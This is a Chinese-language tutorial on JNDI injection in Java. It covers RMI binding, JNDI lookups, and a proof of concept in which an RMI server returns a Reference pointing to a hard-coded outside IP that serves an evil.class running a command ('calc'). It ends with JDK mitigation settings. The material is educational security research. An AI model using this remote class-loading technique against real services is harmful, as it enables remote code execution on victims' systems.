JNDI注入解析
一、什么是JNDIJNDI全称为Java命名和目录接口。我们可以理解为JNDI提供了两个服务,即命名服务和目录服务。命名服务将一个对象和一个名称进行绑定,然后放置到一个容器里面。当我们想要获取这个对象的时候,就可以通过容器来查找这个名称,从而获得这个对象。目录服务就是将一些对象的属性放置到容器中,然后想要操作这个属性的时候,就通过容器来进行查找。对比一下命名服务和目录服务,其实命名服务就是
一、什么是JNDI
JNDI
全称为Java
命名和目录接口。我们可以理解为JNDI
提供了两个服务,即命名服务和目录服务。
命名服务将一个对象和一个名称进行绑定,然后放置到一个容器里面。当我们想要获取这个对象的时候,就可以通过容器来查找这个名称,从而获得这个对象。
目录服务就是将一些对象的属性放置到容器中,然后想要操作这个属性的时候,就通过容器来进行查找。
对比一下命名服务和目录服务,其实命名服务就是绑定对象,而目录服务就是绑定了对象的属性。在JNDI
中,命名服务和目录服务是一起结合提供的,最容易理解的一个例子就是RMI
。
在RMI
的服务端,通常我们会将一个远程对象和一个名称进行绑定,然后将其注册到注册表里面。除了通过RMI
来实现客户端从而获取到对象之外,还可以使用JNDI
来获取对象。JNDI
其实就是对这些提供了命名服务或者目录服务的逻辑进行了一个封装,例如上面的RMI
,我们可以直接调用JNDI
提供的lookup
函数来远程获取,例如:lookup("rmi://127.0.0.1/bind")
;如果提供服务的是LDAP
,我们同样可以通过lookup("ldap://127.0.0.1/")
来进行访问。
通过上面这个例子,不难看出JNDI
其实就是对这些服务的访问做了一个统一的处理。
二、JNDI
的简单实践
通过上面的介绍,我们知道,想要实现JNDI
,我们首先得需要一个容器,然后我们将一个对象绑定到容器里面。(这里结合RMI
来实现一个简单的示例)
1、创建一个远程调用对象
首先创建一个接口,继承Remote
接口:
public interface RemoteMethod extends Remote {
public void sayBye() throws RemoteException;
}
创建一个远程对象,实现该接口,并继承UnicastRemoteObject
类:
class M1sn0w extends UnicastRemoteObject implements RemoteMethod {
public String name;
public int age;
public M1sn0w(String name,int age) throws RemoteException {
super();
this.age = age;
this.name = name;
}
public void sayBye(){
System.out.println("say bye!!");
}
}
2、开启RMI
服务端
创建一个RMI
服务端,并将一个远程对象绑定到注册表中:
public class Server {
public static void main(String[] args) throws RemoteException, MalformedURLException, AlreadyBoundException {
M1sn0w m1sn0w = new M1sn0w("m1sn0w",22);
LocateRegistry.createRegistry(1099);
Naming.bind("m1sn0w",m1sn0w);
}
}
3、利用JNDI
远程获取对象
我们想要使用JNDI
来远程获取对象,首先得需要获取一个容器,我们先看如下实例代码:
public class jndi {
public static void main(String[] args) throws RemoteException, NamingException {
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,"rmi://127.0.0.1:1099");
Context ctx = new InitialContext(env);
RemoteMethod remoteMethod = (RemoteMethod) ctx.lookup("m1sn0w");
remoteMethod.sayBye();
}
}
Context.PROVIDER_URL
参数表示指定一个远程加载的地址,例如上面的rmi://127.0.0.1:1099
,当我们通过lookup
函数进行查找对象的时候,其实就是在rmi://127.0.0.1:1099/m1sn0w
这个里面进行的查找。
最后远程调用方法之后,会在服务端执行代码,将结果返回给JNDI
客户端。
三、JNDI
注入漏洞
通过上面的这个例子,我们可以知道,通过JNDI
可以远程加载对象。除了通过上面的Context.PROVIDER_URL
来设置URL
以外,我们可以直接在lookup
参数指定URL
,例如lookup("rmi://127.0.0.1:1099/m1sn0w")
,由于JNDI
存在一个动态地址转换协议,也就是说当我们在lookup
上指定一个URL
的时候,就会优先于Context.PROVIDER_URL
的设置进行加载。
至此,就可以想到,如果这个lookup
参数可控的话,那么我们就可以传入恶意的url
地址来控制受害者加载攻击者指定的恶意类。但是这里又会遇到一个问题,就是怎么进行攻击呢?
当我们指定一个恶意的URL
地址之后,受害者在获取完这个远程对象之后,开始调用恶意方法。但是在RMI
中,调用远程方法,最终的执行是服务端去执行。只是把最终的结果以序列化的形式传递给客户端,也就是这里所说的受害者。当然,如果受害者内部存在漏洞组件存在反序列化漏洞的话,我们可以构造恶意的序列化对象,返回给客户端,当客户端在进行反序列化的时候,可以触发漏洞;如果目标组件不存在反序列化漏洞,我们返回一个恶意对象,但是客户端本地没有这个class
文件,当然也就不能成功获取到这个对象。
四、Reference
类
为了解决上面这个问题,我们引入了一个Reference
类,这个类表示对存在于命名或者目录系统以外的对象的引用。简单理解一下,就是如果RMI
服务端返回的是一个Reference
对象或者其子类对象的话,当客户端获取远程对象Stub
的时候,我们就可以指定客户端从一个具体的服务端上去加载class
文件从而完成这个类的实例化。
Reference
类实例化需要三个参数:
className:表示远程加载时所使用的类名
classFactory:加载class中需要实例类的名称
classFactoryLocation:指定远程加载类的地址
例如我们创建如下Reference
类实例,并将其绑定到注册表中:
public class Server {
public static void main(String[] args) throws NamingException, RemoteException, MalformedURLException, AlreadyBoundException {
Reference reference = new Reference("111","evil","http://148.70.205.134:8080/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
LocateRegistry.createRegistry(1099);
Naming.bind("m1sn0w",referenceWrapper);
}
}
然后编写一个evil.java
恶意类,编译之后,将evil.class
上传到服务器上:
import java.io.IOException;
public class evil {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
之后使用JNDI
来远程获取这个绑定的对象,最终会在本地弹出计算器框:
public static void main(String[] args) throws NamingException {
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,"rmi://127.0.0.1:1099");
Context ctx = new InitialContext(env);
ctx.lookup("m1sn0w");
}
这里有几个坑需要注意一下:
1、首先就是jdk
的版本,后面我们会再提,高版本的jkd
做了限制,因此实验使用jkd1.7
版本
2、恶意类中不要带package
包名,否则可能会报错
我们梳理一下整个调用流程。首先我们创建了一个Reference
实例对象,这三个参数表示的意思为:当远程加载对象之后,会先从本地找111.class
文件是否存在,如果不存在,则从远程服务端http://148.70.205.134:8080
中查找evil.class
文件。接下来使用了ReferenceWrapper
来包裹Reference
是,原因是远程对象需要继承UnicastRemoteObject
类,而Reference
类并没有对该类进行继承,因此我们需要封装一下,跟进ReferenceWrapper
类,可以发现其继承了UnicastRemoteObject
类:
到此,我们对JNDI
注入攻击有了一个大致的了解。对于JNDI
注入漏洞,我们的攻击方式如下:(利用RMI
)
1、在存在注入的地方利用RMI
远程加载,指向恶意的URL
2、我们在恶意的URL
上搭建一个RMI
服务,并绑定一个Reference
对象,并指定恶意类的加载路径
3、在服务端上放置恶意类编译后的class
文件
五、官网修复策略
最后我们来看一下,针对不同的JDK
版本,官方给出了一些限制:
1、JDK 6u45、7u21
之后:java.rmi.server.useCodebaseOnly
的默认值被设置为true
,表示禁用自动加载远程类文件。
2、JDK 6u141、7u131、8u121
之后:增加了com.sun.jndi.rmi.object.trustURLCodebase
选项,默认为false
,禁止RMI
和CORBA
协议使用远程codebase
的选项。
3、JDK 6u211、7u201、8u191
之后:增加了com.sun.jndi.ldap.object.trustURLCodebase
选项,默认为false,禁止LDAP
协议使用远程codebase
的选项
更多推荐
所有评论(0)